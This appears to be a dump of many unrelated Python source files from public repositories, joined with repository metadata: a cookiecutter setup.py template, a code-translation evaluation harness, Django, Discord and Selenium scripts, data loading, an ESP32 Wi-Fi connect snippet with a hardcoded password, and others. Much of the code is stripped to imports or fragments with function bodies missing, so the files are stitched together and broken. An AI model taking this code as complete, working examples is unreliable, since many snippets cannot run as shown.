"MIT"
] | null | null | null | {{cookiecutter.project_slug}}/setup.py | mathemaphysics/cookiecutter-cpp-devcontainer | d9a8e23e165e3698b4a1cb4516a397450355466a | [
"MIT"
] | null | null | null | {{cookiecutter.project_slug}}/setup.py | mathemaphysics/cookiecutter-cpp-devcontainer | d9a8e23e165e3698b4a1cb4516a397450355466a | [
"MIT"
] | null | null | null | {%- set modname = cookiecutter.project_slug.replace('-', '') -%}
from skbuild import setup
{%- if cookiecutter.use_submodules == "No" %}
import os
import pybind11
{%- endif %}
setup(
name='{{ modname }}',
version='0.0.1',
author='{{ cookiecutter.full_name }}',
author_email='your@email.com',
description='Add description here',
long_description='',
classifiers=[
"Programming Language :: Python :: 3",
"Operating System :: OS Independent",
{%- if cookiecutter.license == "MIT" %}
"License :: OSI Approved :: MIT License",
{%- elif cookiecutter.license == "BSD-2" %}
"License :: OSI Approved :: BSD License",
{%- elif cookiecutter.license == "GPL-3.0" %}
"License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
{%- elif cookiecutter.license == "LGPL-3.0" %}
"License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)",
{%- endif %}
],
zip_safe=False,
packages=["{{ modname }}"],
cmake_args=[
"-DBUILD_TESTING=OFF",
"-DBUILD_DOCS=OFF",
{%- if cookiecutter.use_submodules == "No" %}
f"-DCMAKE_PREFIX_PATH={os.path.dirname(pybind11.__file__)}",
{%- endif %}
],
package_dir={"": "python"},
cmake_install_dir="python/{{ modname }}",
)
| 31.365854 | 83 | 0.604977 |
bb612a43c5e00fdec79d5ed2d464c2583287acfd | 603 | py | Python | lang/modules/os.py | pranavbaburaj/sh | dc0da9e10e7935310ae40d350c1897fcd65bce8f | [
"MIT"
] | 4 | 2021-01-30T12:25:21.000Z | 2022-03-13T07:23:19.000Z | lang/modules/os.py | pranavbaburaj/sh | dc0da9e10e7935310ae40d350c1897fcd65bce8f | [
"MIT"
] | 3 | 2021-02-26T13:11:17.000Z | 2021-06-04T17:26:05.000Z | lang/modules/os.py | pranavbaburaj/sh | dc0da9e10e7935310ae40d350c1897fcd65bce8f | [
"MIT"
] | 1 | 2021-02-08T10:18:29.000Z | 2021-02-08T10:18:29.000Z | import os, platform
from clint.textui import colored as color
| 22.333333 | 42 | 0.593698 |
bb63df222835f6eb78ba3c732e704619ca12b613 | 899 | py | Python | data/transcoder_evaluation_gfg/python/CHECK_STRING_FOLLOWS_ANBN_PATTERN_NOT.py | mxl1n/CodeGen | e5101dd5c5e9c3720c70c80f78b18f13e118335a | [
"MIT"
] | 241 | 2021-07-20T08:35:20.000Z | 2022-03-31T02:39:08.000Z | data/transcoder_evaluation_gfg/python/CHECK_STRING_FOLLOWS_ANBN_PATTERN_NOT.py | mxl1n/CodeGen | e5101dd5c5e9c3720c70c80f78b18f13e118335a | [
"MIT"
] | 49 | 2021-07-22T23:18:42.000Z | 2022-03-24T09:15:26.000Z | data/transcoder_evaluation_gfg/python/CHECK_STRING_FOLLOWS_ANBN_PATTERN_NOT.py | mxl1n/CodeGen | e5101dd5c5e9c3720c70c80f78b18f13e118335a | [
"MIT"
] | 71 | 2021-07-21T05:17:52.000Z | 2022-03-29T23:49:28.000Z | # Copyright (c) 2019-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
#
#TOFILL
if __name__ == '__main__':
param = [
('ba',),
('aabb',),
('abab',),
('aaabb',),
('aabbb',),
('abaabbaa',),
('abaababb',),
('bbaa',),
('11001000',),
('ZWXv te',)
]
n_success = 0
for i, parameters_set in enumerate(param):
if f_filled(*parameters_set) == f_gold(*parameters_set):
n_success+=1
print("#Results: %i, %i" % (n_success, len(param))) | 23.051282 | 64 | 0.506118 |
bb64614546d6d512164770fa3b04fc627d4d3bf2 | 218 | py | Python | api/urls.py | kaito1002/django-rest-init | 8ece6311ea84c46e74a0ac0b7f42983f40a72c34 | [
"MIT"
] | null | null | null | api/urls.py | kaito1002/django-rest-init | 8ece6311ea84c46e74a0ac0b7f42983f40a72c34 | [
"MIT"
] | null | null | null | api/urls.py | kaito1002/django-rest-init | 8ece6311ea84c46e74a0ac0b7f42983f40a72c34 | [
"MIT"
] | null | null | null | from rest_framework import routers
from user.views import UserViewSet
from .views import SampleViewSet
router = routers.DefaultRouter()
router.register('users', UserViewSet)
router.register('samples', SampleViewSet)
| 24.222222 | 41 | 0.821101 |
bb66ace576783c81b7f71f58e215ed9554b532e3 | 1,249 | py | Python | iipython/embeds.py | plasma-chat/plugins | 58dc5e6520e62fb473eb4fda4292b9adb424b75d | [
"MIT"
] | null | null | null | iipython/embeds.py | plasma-chat/plugins | 58dc5e6520e62fb473eb4fda4292b9adb424b75d | [
"MIT"
] | null | null | null | iipython/embeds.py | plasma-chat/plugins | 58dc5e6520e62fb473eb4fda4292b9adb424b75d | [
"MIT"
] | null | null | null | # Copyright 2022 iiPython
# Modules
import time
# Initialization
embed_size = 45
# Plugin class
| 29.046512 | 156 | 0.542834 |
bb66fc7050d575d46b09f705e4a0c71d8c66cda1 | 11,303 | py | Python | inn.py | NLipatov/INNer | 88816c91bfb85f287b734aff69a5b60ad43f129e | [
"MIT"
] | null | null | null | inn.py | NLipatov/INNer | 88816c91bfb85f287b734aff69a5b60ad43f129e | [
"MIT"
] | null | null | null | inn.py | NLipatov/INNer | 88816c91bfb85f287b734aff69a5b60ad43f129e | [
"MIT"
] | null | null | null | import time, os, xlrd, xlwt, re, webbrowser, time_convert, Process_killer, tkinter as tk
from tkinter import messagebox as mb
from xlwt import easyxf
from threading import Thread
from selenium import webdriver
from selenium.common.exceptions import SessionNotCreatedException
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from subprocess import CREATE_NO_WINDOW
from xlutils.copy import copy
direction = None
workbookname = None
status = ''
innermessage = ' '
message = ''
refreshedINN = 0
| 41.862963 | 116 | 0.508891 |
bb67b96194c55ddd1e174b93f999f14cfde628ec | 803 | py | Python | backend/src/api/routes.py | gideonmandu/image-difference | 50007e5a899f5f10f519ac76312cd60f76c2ddd2 | [
"MIT"
] | null | null | null | backend/src/api/routes.py | gideonmandu/image-difference | 50007e5a899f5f10f519ac76312cd60f76c2ddd2 | [
"MIT"
] | null | null | null | backend/src/api/routes.py | gideonmandu/image-difference | 50007e5a899f5f10f519ac76312cd60f76c2ddd2 | [
"MIT"
] | null | null | null | import uuid
from typing import Optional
from fastapi import UploadFile, APIRouter
from src.services.image_processing import ImageProcessor
router = APIRouter(prefix="/file", tags=["passport & ID upload"])
# @router.get("",)
# async def index():
# return {"test": "hello world"}
| 28.678571 | 78 | 0.671233 |
bb67eb4b7ecd3f699aaf7a537dafe8901082a0fc | 1,474 | py | Python | pdf_gen.py | MasatoHanayama/pdf_gen | b16491a31cea0d1a4931e979d600870d6be07c3e | [
"MIT"
] | 1 | 2022-03-15T12:57:46.000Z | 2022-03-15T12:57:46.000Z | pdf_gen.py | MasatoHanayama/pdf_gen | b16491a31cea0d1a4931e979d600870d6be07c3e | [
"MIT"
] | null | null | null | pdf_gen.py | MasatoHanayama/pdf_gen | b16491a31cea0d1a4931e979d600870d6be07c3e | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import argparse
import img2pdf
import tqdm
from natsort import natsorted
from PIL import Image
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('src', help='src dir')
args = parser.parse_args()
main(args.src)
# dirs = [f.path for f in os.scandir(args.src) if f.is_dir()]
# # for dir in tqdm.tqdm(dirs):
# for dir in dirs:
# print(dir)
# webp2png(dir)
# pdf_gen(dir, '{}.pdf'.format(dir))
| 28.346154 | 129 | 0.586839 |
bb67fb540424cdb298487932ac6c8b19b1c4e193 | 1,113 | py | Python | userapiexpiry.py | tjarrettveracode/veracode-python-api_credentials_expiry-example | 3188c53f81c4bf0b5f4d27f4aa1dc3de2f3f5aef | [
"MIT"
] | null | null | null | userapiexpiry.py | tjarrettveracode/veracode-python-api_credentials_expiry-example | 3188c53f81c4bf0b5f4d27f4aa1dc3de2f3f5aef | [
"MIT"
] | null | null | null | userapiexpiry.py | tjarrettveracode/veracode-python-api_credentials_expiry-example | 3188c53f81c4bf0b5f4d27f4aa1dc3de2f3f5aef | [
"MIT"
] | null | null | null | import sys
import requests
import datetime
from dateutil.parser import parse
from veracode_api_py import VeracodeAPI as vapi
if __name__ == '__main__':
main() | 32.735294 | 115 | 0.645103 |
bb68392d7aa3e6ae41470c5c442a63fe00343194 | 3,258 | py | Python | recipes/tensorflow/samples/pytorch/cifar10/samples/tensorflow/scorer.py | arturrutkiewicz-divae/aep-rfm-score | 705fc54e505fdb8763073401be7b97c81474b0a9 | [
"Apache-2.0"
] | 18 | 2018-12-13T18:53:31.000Z | 2021-09-29T20:14:05.000Z | recipes/tensorflow/samples/pytorch/cifar10/samples/tensorflow/scorer.py | DalavanCloud/experience-platform-dsw-reference | 2e0af85a47ec05b7cda77d61954c1cde0a625f5c | [
"Apache-2.0"
] | 27 | 2019-01-02T22:52:51.000Z | 2021-05-26T15:14:17.000Z | recipes/tensorflow/samples/pytorch/cifar10/samples/tensorflow/scorer.py | DalavanCloud/experience-platform-dsw-reference | 2e0af85a47ec05b7cda77d61954c1cde0a625f5c | [
"Apache-2.0"
] | 18 | 2019-01-09T19:34:57.000Z | 2020-10-19T11:06:50.000Z | #
# Copyright 2017 Adobe.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from ml.runtime.tensorflow.Interfaces.AbstractScorer import AbstractScorer
import tensorflow as tf
import numpy
import torch
import torchvision
import torchvision.transforms as transforms
import torch.nn as nn
import torch.nn.functional as F
| 34.659574 | 75 | 0.533456 |
bb69473a0d64dae39589b39408b2ff33e2930247 | 1,486 | py | Python | data_loading.py | dahouda2pro/deep-learned-embedding | a4428cf99eae86691286ec18a0656e632fbc4600 | [
"CC0-1.0"
] | null | null | null | data_loading.py | dahouda2pro/deep-learned-embedding | a4428cf99eae86691286ec18a0656e632fbc4600 | [
"CC0-1.0"
] | null | null | null | data_loading.py | dahouda2pro/deep-learned-embedding | a4428cf99eae86691286ec18a0656e632fbc4600 | [
"CC0-1.0"
] | 1 | 2021-12-21T05:27:19.000Z | 2021-12-21T05:27:19.000Z | import pandas as pd
import numpy as np
print("Data Loading....")
#data = pd.read_csv("adult.csv")
data = pd.read_csv("adult_2.csv")
# print(data)
# print(data.columns)
# print(data.shape)
# print(data.info())
# print(data.nunique())
data.describe()
data.isin(['?']).sum()
data = data.replace('?', np.NaN)
for col in ['workclass', 'occupation', 'native.country']:
data[col].fillna(data[col].mode()[0], inplace=True)
data.isnull().sum()
data['income'].value_counts()
data['income'] = data['income'].map({'<=50K': 0, '>50K': 1})
# print(data.head())
print("********** Checking Missing Values **********")
print(data.isnull().sum())
# Separate the numeric and categorical variables
numeric_data = data.select_dtypes(include=[np.number])
categorical_data = data.select_dtypes(exclude=[np.number])
print("Numeric Variable")
print(numeric_data.head())
print(numeric_data.info())
print(numeric_data.columns)
print("Shape of Numeric Data :", numeric_data.shape)
print(categorical_data.nunique())
print("Categorical Variable")
print(categorical_data.head())
print("Shape of Numeric Data :", categorical_data.shape)
# We have to rename all the columns of Categorical variable subset
categorical_data.columns = ['Private', 'HSgrad', 'Widowed',
'Execmanagerial', 'Unmarried', 'Black', 'Female', 'UnitedStates']
print(categorical_data.head())
print("Shape of Numeric Data :", categorical_data.shape)
| 29.72 | 94 | 0.669583 |
bb69a0519f4167f3e5c1740dabcb4206f8eb16f8 | 261 | py | Python | Projects/ESP32Micropython/flash memory/newConnectTest.py | TizioMaurizio/ArduinoWorkshop | d38ede91c6b7a925eafb0272a5fa9f44885ae017 | [
"MIT"
] | null | null | null | Projects/ESP32Micropython/flash memory/newConnectTest.py | TizioMaurizio/ArduinoWorkshop | d38ede91c6b7a925eafb0272a5fa9f44885ae017 | [
"MIT"
] | null | null | null | Projects/ESP32Micropython/flash memory/newConnectTest.py | TizioMaurizio/ArduinoWorkshop | d38ede91c6b7a925eafb0272a5fa9f44885ae017 | [
"MIT"
] | null | null | null | import network
import time
sta_if = network.WLAN(network.STA_IF)
sta_if.active(True)
for _ in range(10):
sta_if.connect('RedmiMau', 'mau12397')
time.sleep(1)
if sta_if.isconnected():
print('Connected.')
break
time.sleep(11)
else:
print('Fail') | 20.076923 | 39 | 0.701149 |
bb6a551fb3c28dd9d932bdf287bf2fe78a03a168 | 1,313 | py | Python | FilterPackets.py | aj351/peershark | 80e06319f61381fe163383e5984d70a5f23760b4 | [
"MIT"
] | 31 | 2015-02-11T14:32:24.000Z | 2022-02-10T11:08:23.000Z | FilterPackets.py | aj351/peershark | 80e06319f61381fe163383e5984d70a5f23760b4 | [
"MIT"
] | 1 | 2015-12-29T11:17:45.000Z | 2017-10-11T08:48:49.000Z | FilterPackets.py | aj351/peershark | 80e06319f61381fe163383e5984d70a5f23760b4 | [
"MIT"
] | 26 | 2015-06-05T04:51:46.000Z | 2022-03-22T20:28:52.000Z | ## Module to obtain packet data from a pcap/dump file
## and save it in csv format using tshark.
## Filenames of input pcap files are taken from InputFiles.txt
## Tshark options are present in TsharkOptions.txt
## TsharkOptions.txt should not contain the -r option.
## usage: python FilterPackets.py
#import global constants
from P2P_CONSTANTS import *
from FilterPacketsHelper import *
import multiprocessing as MP
import subprocess
#execute a shell command as a child process
#obtain input parameters and pcapfilenames
inputfiles = getPCapFileNames()
tsharkOptions = getTsharkOptions()
#create a semaphore so as not to exceed threadlimit
sem = MP.Semaphore(THREADLIMIT)
#get tshark commands to be executed
for filename in inputfiles:
print filename
(command,outfilename) = contructTsharkCommand(filename,tsharkOptions)
task = MP.Process(target = executeCommand, args = (command, outfilename,))
task.start() | 27.93617 | 75 | 0.770754 |
bb6b66c4796e5839d80de0a9f7880f3c7a632215 | 2,829 | py | Python | cogs/start.py | Yureehh/Perfecto---O---Tron | cfd6f1819a9e4b7a9a406061bb7fadfea4084a86 | [
"MIT"
] | null | null | null | cogs/start.py | Yureehh/Perfecto---O---Tron | cfd6f1819a9e4b7a9a406061bb7fadfea4084a86 | [
"MIT"
] | 1 | 2020-09-16T16:27:52.000Z | 2020-09-16T16:27:52.000Z | cogs/start.py | Yureehh/Perfecto---O---Tron | cfd6f1819a9e4b7a9a406061bb7fadfea4084a86 | [
"MIT"
] | null | null | null | import discord
from discord.ext import commands,tasks
from datetime import datetime
import asyncio
from itertools import cycle
#number of minutes used at timer for loops
MINUTES_TO_WAIT = 30
#in the brackets there's the class you are extending | 36.269231 | 183 | 0.625309 |
bb6cc5ff9b1a00d13872972359a28898848fa4c7 | 14,716 | py | Python | tests/test_parser.py | RathmoreChaos/intficpy | a5076bba93208dc18dcbf2e4ad720af9e2127eda | [
"MIT"
] | 25 | 2019-04-30T23:51:44.000Z | 2022-03-23T02:02:54.000Z | tests/test_parser.py | RathmoreChaos/intficpy | a5076bba93208dc18dcbf2e4ad720af9e2127eda | [
"MIT"
] | 4 | 2019-07-09T03:43:35.000Z | 2022-01-10T23:41:46.000Z | tests/test_parser.py | RathmoreChaos/intficpy | a5076bba93208dc18dcbf2e4ad720af9e2127eda | [
"MIT"
] | 5 | 2021-04-24T03:54:39.000Z | 2022-01-06T20:59:03.000Z | from .helpers import IFPTestCase
from intficpy.ifp_game import IFPGame
from intficpy.thing_base import Thing
from intficpy.things import Surface, UnderSpace
from intficpy.actor import Actor, SpecialTopic
from intficpy.verb import (
IndirectObjectVerb,
GetVerb,
LookVerb,
SetOnVerb,
LeadDirVerb,
JumpOverVerb,
GiveVerb,
ExamineVerb,
GetAllVerb,
)
from intficpy.exceptions import ObjectMatchError
| 32.414097 | 89 | 0.647323 |
bb6dc22e8ea52200d58eae5889b340543ca4b618 | 51 | py | Python | spacy_thai/__init__.py | KoichiYasuoka/spaCy-Thai | e70aedbd3c8c88e317a4c254d91b3d4151655d1d | [
"MIT"
] | 15 | 2020-09-26T20:59:12.000Z | 2022-03-10T05:14:53.000Z | spacy_thai/__init__.py | KoichiYasuoka/spaCy-Thai | e70aedbd3c8c88e317a4c254d91b3d4151655d1d | [
"MIT"
] | 4 | 2020-12-13T18:58:08.000Z | 2022-02-21T01:07:37.000Z | spacy_thai/__init__.py | KoichiYasuoka/spaCy-Thai | e70aedbd3c8c88e317a4c254d91b3d4151655d1d | [
"MIT"
] | 3 | 2020-09-27T11:25:42.000Z | 2021-05-13T08:48:03.000Z | from .spacy_thai import ThaiTagger,ThaiParser,load
| 25.5 | 50 | 0.862745 |
bb6e51b991925d3f2d075e10b6faa76829b92e27 | 965 | py | Python | setup.py | KAJdev/pydisfish | aca538cb3e774b4e92469b4f0dd7c8f724088e16 | [
"MIT"
] | 1 | 2021-11-04T18:38:43.000Z | 2021-11-04T18:38:43.000Z | setup.py | KAJdev/pydisfish | aca538cb3e774b4e92469b4f0dd7c8f724088e16 | [
"MIT"
] | null | null | null | setup.py | KAJdev/pydisfish | aca538cb3e774b4e92469b4f0dd7c8f724088e16 | [
"MIT"
] | null | null | null | import setuptools
import re
with open("README.md", "r") as fh:
long_description = fh.read()
version = ''
with open('pydisfish/__init__.py') as f:
version = re.search(r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]', f.read(), re.MULTILINE).group(1)
if not version:
raise RuntimeError('version is not set')
requirements = []
with open('requirements.txt') as f:
requirements = f.read().splitlines()
setuptools.setup(
name='pydisfish',
version=version,
author='kajdev',
description="A small module to easily interact with discord's phishing domain list.",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/kajdev/pydisfish",
packages=["pydisfish"],
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
install_requires=requirements
)
| 28.382353 | 99 | 0.65285 |
bb70059c996805e1f7f560d971daa768591ddbce | 9,173 | py | Python | backup/data_bk.py | ieee820/BraTS2018-tumor-segmentation | 22e1a22909a0c21503b5ef5fc6860a1e1131e851 | [
"MIT"
] | 157 | 2018-09-22T20:45:04.000Z | 2022-01-24T13:08:09.000Z | backup/data_bk.py | bonjoura/BraTS2018-tumor-segmentation | 22e1a22909a0c21503b5ef5fc6860a1e1131e851 | [
"MIT"
] | null | null | null | backup/data_bk.py | bonjoura/BraTS2018-tumor-segmentation | 22e1a22909a0c21503b5ef5fc6860a1e1131e851 | [
"MIT"
] | 53 | 2018-10-09T09:34:15.000Z | 2021-08-14T10:24:43.000Z | import sys
if sys.version_info[0] == 2:
import Queue as queue
else:
import queue
import os
import math
import multiprocessing as mp
import threading
import torch
from torch.utils.data import Dataset
import numpy as np
from data_utils import get_receptive_field, get_sub_patch_shape, \
get_offset, sample_coords, get_all_coords, nib_load
PATCH_SHAPE = (25, 25, 25)
KERNELS = ((3, 3, 3), )*8
SCALE_FACTOR = (3, 3, 3)
SHAPE = [240, 240, 155]
np.random.seed(2017)
mean = [433.78412444, 661.42844749, 588.09469198, 651.22305233]
mean = np.array(mean).reshape(4, 1, 1, 1)
std = [1343.81579289, 1200.61193295, 1178.99769383, 1390.22978543]
std = np.array(std).reshape(4, 1, 1, 1)
root = '/home/thuyen/Data/brats17/Brats17TrainingData/'
file_list = root + 'file_list.txt'
dset = ImageList(file_list, root=root)
import time
start = time.time()
for i in range(len(dset)):
dset[i]
#x1, x2, y, c = dset[0]
print(time.time() - start)
start = time.time()
exit(0)
from dataloader import DataLoader
import time
from sampler import SSampler
batch_size = 10
num_epochs = 20
num_iters = len(dset) * num_epochs // batch_size
sampler = SSampler(len(dset), num_epochs=num_epochs)
dloader = DataLoader(dset,
batch_size=batch_size, pin_memory=True, collate_fn=ImageList.collate, sampler=sampler,
#batch_size=batch_size, pin_memory=True, shuffle=True,
#num_batches = num_iters,
num_workers=20)
import torch
#a = torch.rand(10).cuda()
start = time.time()
count = 0
for k, x in enumerate(dloader):
if k == 0:
count = 0
start = time.time()
shapes = [t.shape for t in x]
print(k, str(shapes))
y = [t.cuda(non_blocking=True) for t in x]
count += 1
end = time.time()
print((end-start)/(count - 1), count)
#start = time.time()
#for x in dloader:
# end = time.time()
# print(x[0].size(), end-start)
# start = end
#
#exit(0)
# preprocess data to speedup traning and predictions
| 29.782468 | 94 | 0.578764 |
bb715b8832fba253f15741c5824e20ae8941000e | 2,364 | py | Python | backintime/candles_providers/binance_api_candles/binance_api_candles.py | akim-mukhtarov/backtesting | 2d0491b919885eeddd62c4079c9c7292381cb4f9 | [
"MIT"
] | null | null | null | backintime/candles_providers/binance_api_candles/binance_api_candles.py | akim-mukhtarov/backtesting | 2d0491b919885eeddd62c4079c9c7292381cb4f9 | [
"MIT"
] | null | null | null | backintime/candles_providers/binance_api_candles/binance_api_candles.py | akim-mukhtarov/backtesting | 2d0491b919885eeddd62c4079c9c7292381cb4f9 | [
"MIT"
] | null | null | null | from .utils import to_ms, to_candle
from ..api_candles import ApiCandles
from ...timeframes import Timeframes
import datetime, time
import requests as r
| 31.945946 | 76 | 0.576565 |
bb723206badf8174dc3f8ba35066d0a2d790ceab | 2,110 | py | Python | server/grading/models.py | jauhararifin/ugrade | c5bc0ce3920534cf289c739ffe8b83ceed9f52e8 | [
"MIT"
] | 15 | 2019-02-27T19:28:23.000Z | 2019-07-20T17:54:46.000Z | server/grading/models.py | jauhararifin/ugrade | c5bc0ce3920534cf289c739ffe8b83ceed9f52e8 | [
"MIT"
] | 9 | 2020-09-04T18:30:56.000Z | 2022-03-25T18:41:11.000Z | server/grading/models.py | jauhararifin/ugrade | c5bc0ce3920534cf289c739ffe8b83ceed9f52e8 | [
"MIT"
] | 2 | 2019-03-29T14:15:47.000Z | 2019-04-12T06:08:11.000Z | import os
import random
from django.db import models
from contests.models import Submission, User, Contest
VERDICT = (
('RTE', 'Run Time Error'),
('MLE', 'Memory Limit Exceeded'),
('TLE', 'Time Limit Exceeded'),
('WA', 'Wrong Answer'),
('CE', 'Compilation Error'),
('IE', 'Internal Error'),
('AC', 'Accepted'),
('PENDING', 'Pending'),
)
| 32.96875 | 92 | 0.694313 |
bb7233933506ce378e6905eadbfa9e01a8d6c38d | 2,295 | py | Python | enaml/tests/widgets/test_spin_box.py | mmckerns/enaml | ebf417b4dce9132bffa038a588ad90436a59d37e | [
"BSD-3-Clause"
] | 11 | 2015-01-04T14:29:23.000Z | 2019-12-25T05:38:37.000Z | enaml/tests/widgets/test_spin_box.py | mmckerns/enaml | ebf417b4dce9132bffa038a588ad90436a59d37e | [
"BSD-3-Clause"
] | 36 | 2015-02-20T00:56:53.000Z | 2020-12-04T10:02:14.000Z | enaml/tests/widgets/test_spin_box.py | mmckerns/enaml | ebf417b4dce9132bffa038a588ad90436a59d37e | [
"BSD-3-Clause"
] | 3 | 2015-11-19T15:11:37.000Z | 2019-03-11T23:45:02.000Z | #------------------------------------------------------------------------------
# Copyright (c) 2012, Enthought, Inc.
# All rights reserved.
#------------------------------------------------------------------------------
from enaml.validation.api import IntValidator
from .enaml_test_case import EnamlTestCase
if __name__ == '__main__':
import unittest
unittest.main()
| 31.875 | 90 | 0.623094 |
bb723c07c298e3147c128f216ca171ac795e93ac | 192 | py | Python | src/lib/core_funcs.py | thekraftyman/discord-bot-starter | e6b9174ea346ec060ecda3f2b1d22f1eb6066f95 | [
"MIT"
] | null | null | null | src/lib/core_funcs.py | thekraftyman/discord-bot-starter | e6b9174ea346ec060ecda3f2b1d22f1eb6066f95 | [
"MIT"
] | null | null | null | src/lib/core_funcs.py | thekraftyman/discord-bot-starter | e6b9174ea346ec060ecda3f2b1d22f1eb6066f95 | [
"MIT"
] | null | null | null | # core_funcs.py
# By: thekraftyman
'''
container for all of the core funcs that have been distributed among files
'''
from src.lib.async_funcs import *
from src.lib.non_async_funcs import *
| 19.2 | 74 | 0.760417 |
bb724e768f60fb932f05a9b7ae174961837fa0fc | 532 | py | Python | core/models.py | rubberducklive/tcm_api | 53d2b533e3f9251cce49bd4c1b8e9e65a03eaf04 | [
"MIT"
] | null | null | null | core/models.py | rubberducklive/tcm_api | 53d2b533e3f9251cce49bd4c1b8e9e65a03eaf04 | [
"MIT"
] | null | null | null | core/models.py | rubberducklive/tcm_api | 53d2b533e3f9251cce49bd4c1b8e9e65a03eaf04 | [
"MIT"
] | null | null | null | import uuid
from django.db import models
| 22.166667 | 79 | 0.734962 |
bb72f9435fdc29920b70ac72d5ae0238e0aa1869 | 1,351 | py | Python | oandapyV20-examples-master/src/console/greenlets/accountdetails.py | cdibble2011/OANDA | 68327d6d65dd92952d7a1dc49fe29efca766d900 | [
"MIT"
] | 127 | 2017-02-28T17:34:14.000Z | 2022-01-21T13:14:30.000Z | oandapyV20-examples-master/src/console/greenlets/accountdetails.py | cdibble2011/OANDA | 68327d6d65dd92952d7a1dc49fe29efca766d900 | [
"MIT"
] | 36 | 2018-06-07T21:34:13.000Z | 2022-03-13T21:01:43.000Z | oandapyV20-examples-master/src/console/greenlets/accountdetails.py | cdibble2011/OANDA | 68327d6d65dd92952d7a1dc49fe29efca766d900 | [
"MIT"
] | 76 | 2017-01-02T14:15:07.000Z | 2022-03-28T03:49:45.000Z | # -*- coding: utf-8 -*-
import gevent
from oandapyV20.endpoints.accounts import AccountDetails, AccountChanges
| 32.95122 | 75 | 0.637306 |
bb73bd26c0031f64dbf994ec3a8a3952a7f0e16a | 802 | py | Python | wbsv/main.py | yswallow/wbsv-cli | 30b68d0d1efd56fba99286d53470a39d317d6d9d | [
"MIT"
] | null | null | null | wbsv/main.py | yswallow/wbsv-cli | 30b68d0d1efd56fba99286d53470a39d317d6d9d | [
"MIT"
] | null | null | null | wbsv/main.py | yswallow/wbsv-cli | 30b68d0d1efd56fba99286d53470a39d317d6d9d | [
"MIT"
] | null | null | null | import sys
from . import Archive
from . import Find
from . import ParseArgs
from . import Interact
def iter_urls(opt):
"""Iterate given urls for saving."""
try:
for x in opt["urls"]:
Archive.archive(Find.extract_uri_recursive(x, opt["level"]),
x, opt["retry"])
except KeyboardInterrupt:
print("[!]Interrupted!", file=sys.stderr)
print("[!]Halt.", file=sys.stderr)
exit(1)
def main():
"""Main function."""
opt = ParseArgs.parse_args()
if len(opt["urls"]) == 0:
Interact.interactive(opt)
elif opt["only-target"]:
[Archive.archive([x], x, opt["retry"]) for x in opt["urls"]]
exit(0)
else:
iter_urls(opt)
exit(0)
if __name__ == "__main__":
main()
| 20.05 | 72 | 0.557357 |
bb74b1ea7d5e069ac223adabbb64c46d9e5159e9 | 5,613 | py | Python | Sapphire/CallStatement.py | Rhodolite/Parser-py | 7743799794d92aa8560db11f1d6d5f00e5ac1925 | [
"MIT"
] | null | null | null | Sapphire/CallStatement.py | Rhodolite/Parser-py | 7743799794d92aa8560db11f1d6d5f00e5ac1925 | [
"MIT"
] | null | null | null | Sapphire/CallStatement.py | Rhodolite/Parser-py | 7743799794d92aa8560db11f1d6d5f00e5ac1925 | [
"MIT"
] | null | null | null | #
# Copyright (c) 2017-2018 Joy Diamond. All rights reserved.
#
| 31.533708 | 112 | 0.549973 |
bb75831e0db77f35e095a17d5451a6e61a18c00c | 546 | py | Python | languages/python/sqlalchemy-oso/tests/test_partial.py | johnhalbert/oso | 3185cf3740b74c3c1deaca5b9ec738325de4c8a2 | [
"Apache-2.0"
] | null | null | null | languages/python/sqlalchemy-oso/tests/test_partial.py | johnhalbert/oso | 3185cf3740b74c3c1deaca5b9ec738325de4c8a2 | [
"Apache-2.0"
] | null | null | null | languages/python/sqlalchemy-oso/tests/test_partial.py | johnhalbert/oso | 3185cf3740b74c3c1deaca5b9ec738325de4c8a2 | [
"Apache-2.0"
] | null | null | null | """Unit tests for partial implementation."""
from polar.expression import Expression
from polar.variable import Variable
from sqlalchemy_oso.partial import dot_op_path
| 32.117647 | 69 | 0.705128 |
bb75907adc83d289e117c742bd2e7ed7ea682464 | 426 | py | Python | lib/version.py | Durendal/electrum-rby | 0dadd13467d44bcc7128f0dec0fa1aeff8d22576 | [
"MIT"
] | null | null | null | lib/version.py | Durendal/electrum-rby | 0dadd13467d44bcc7128f0dec0fa1aeff8d22576 | [
"MIT"
] | 1 | 2021-11-15T17:47:29.000Z | 2021-11-15T17:47:29.000Z | lib/version.py | Durendal/electrum-rby | 0dadd13467d44bcc7128f0dec0fa1aeff8d22576 | [
"MIT"
] | 1 | 2017-11-13T23:19:46.000Z | 2017-11-13T23:19:46.000Z | ELECTRUM_VERSION = '3.0' # version of the client package
PROTOCOL_VERSION = '0.10' # protocol version requested
# The hash of the mnemonic seed must begin with this
SEED_PREFIX = '01' # Standard wallet
SEED_PREFIX_2FA = '101' # Two-factor authentication
| 32.769231 | 60 | 0.683099 |
bb75ca51f4748a57620c013b53d94680ace60cc1 | 1,579 | py | Python | src/url.py | nahueldebellis/TwitchTournamentGenerator | a0a203e08d836ad744850839385324c54314b8a4 | [
"MIT"
] | null | null | null | src/url.py | nahueldebellis/TwitchTournamentGenerator | a0a203e08d836ad744850839385324c54314b8a4 | [
"MIT"
] | null | null | null | src/url.py | nahueldebellis/TwitchTournamentGenerator | a0a203e08d836ad744850839385324c54314b8a4 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
from pyshorteners import Shortener
"""Url class"""
| 41.552632 | 88 | 0.627612 |
bb76a8caabf2f194e804291ce67ba419fda452c3 | 5,302 | py | Python | UniPCoA.py | AdeBC/UniRPyCoA | f5b54297daf07856d9a88ebc8e6277e7be9b7ecc | [
"MIT"
